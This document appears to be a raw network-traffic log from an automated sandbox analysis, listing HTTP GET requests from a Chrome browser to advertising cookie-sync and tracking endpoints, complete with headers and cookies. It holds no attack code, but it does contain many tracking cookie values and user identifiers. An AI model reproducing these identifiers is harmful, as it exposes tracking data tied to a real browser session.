Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /pixel.gif?ch=185&cm=IkESATZH81_FapvzRxGQQ8ru&redir=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D84%263pid%3D%7Bvisitor_id%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: aorta.clickagy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/p-CXt61zNBpKUt1.gif?idmatch=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=558511&ev=1&rurl=https%3A%2F%2Fce.lijit.com/merge?pid=49&3pid=%%VGUID%%&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync2/rmphb?gdpr=0&gdpr_consent=&us_privacy=1YNN&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=16826267&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257737
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=gumgum_dbm&google_hm=dV80YzUzNTQwZS01YTIwLTRmYzAtOTRiYy05NmI1NjE4YTI1ZDI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /sync/gumgum?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /sync?nid=1&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs; sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs
Source: global traffic	HTTP traffic detected: GET /rrum?cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D&cm_dsp_id=85&gdpr=0&ixi=0&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
Source: global traffic	HTTP traffic detected: GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1Host: match.deepintent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CDIUSER=di_c1494c1900dc4b8c99559; CDIPARTNERS=%7B%221%22%3A%2220240427%22%7D
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M40]Erk#WF']wIg2Hc#u`tfT!A#Ej.TOKKnyW<U1`VROYQM-:>N%:f?4^DS_^AL_X@Z4BQO/VqCIv?1Mu7p?<QG=%9sks1In=D?Iv3%`L5:g0+Q`VLqcKDHv`2oH0s2[CnY5O*f%Ip; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxWSU9TQTFXLTctNkRDTSIsImV4cGlyZXMiOiIyMDI0LTA3LTI2VDIyOjQyOjE2WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTI3VDIyOjQyOjE2WiJ9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=lkqd_dbm&google_cm HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?partner=gumgum&cspid=9&append=1&cb=${ADELPHIC_CACHE_BUSTER}&gdpr=0&gdpr_consent=&us_privacy=1YNN&redirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dvnt%26i%3D HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cu=f10e083f-54cc-4ce5-aa07-8210352e586a\|1714257732290
Source: global traffic	HTTP traffic detected: GET /s/52176?bidder_id=5298&bidder_uuid=22ec7773-8e4b-4639-873b-a22ce7444b56 HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _li_ss=CgcKBQgLEOQX; lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=51782876&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257737
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=casale_media2_dsp_secure&google_cm&google_dbm HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=558355&ev=1&us_privacy=${us_privacy}&gpp=$&gpp_sid=$&rurl=https%3A%2F%2Frtb.gumgum.com%2Fusersync%3Fb%3Dpln%26i%3D%25%25VGUID%25%25 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rrum?ixi=0&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1&gdpr=0&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /usersync/gumgum/?puid=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_consent=&us_privacy=1YNN&cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
